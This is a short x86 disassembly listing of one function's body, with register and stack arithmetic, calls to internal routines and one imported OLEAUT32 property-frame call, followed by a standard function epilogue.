mov ecx, dword [esp + 0xb8]
mov ecx, dword [ecx]
shl eax, cl
mov ecx, eax
mov eax, dword [esp + 0x158]
mov dword [eax], ecx
mov eax, dword [esp + 0x34]
or eax, dword [esp + 0xe4]
mov dword [0x471d84], eax
mov eax, dword [esp + 0x11c]
movsx eax, byte [eax]
movsx ecx, byte [esp + 0x153]
sar eax, cl
mov byte [esp + 0x127], al
call fcn.00401a20
movzx eax, byte [esp + 0x1bf]
mov ecx, dword [esp + 0x12c]
movzx ecx, byte [ecx]
and eax, ecx
mov byte [esp + 0x73], al
mov eax, dword [0x471d84]
mov ecx, dword [esp + 0x1c0]
add eax, dword [ecx]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x1a8]
mov ecx, dword [esp + 0x194]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.OLEAUT32.dll_OleCreatePropertyFrameIndirect]
sub esp, 8
mov dword [esp + 0xd8], eax
movzx eax, byte [0x471d80]
mov ecx, dword [esp + 0x12c]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [esp + 0x1bf], al
mov ax, word [esp + 0x17a]
mov cx, word [esp + 0x17a]
mov edx, dword [esp + 0x1b4]
movzx edx, word [edx]
mov dword [esp], edx
movsx ecx, cx
mov dword [esp + 4], ecx
cwde
mov dword [esp + 8], eax
call fcn.00401af0
jmp 0x404537
movsx eax, word [esp + 0x192]
add eax, 0x53
mov word [esp + 0x17a], ax
mov eax, dword [esp + 0x1c0]
mov eax, dword [eax]
sub eax, 0x7ede
mov dword [esp + 0x184], eax
mov eax, dword [esp + 0x1d0]
mov ecx, dword [eax]
sub ecx, dword [esp + 0xd0]
mov eax, dword [esp + 0x1d0]
mov dword [eax], ecx
mov ax, word [esp + 0x17a]
mov cx, word [esp + 0x17a]
movzx edx, word [esp + 0xfe]
mov dword [esp], edx
movsx ecx, cx
mov dword [esp + 4], ecx
cwde
mov dword [esp + 8], eax
call fcn.00401af0
mov eax, dword [esp + 0xe4]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret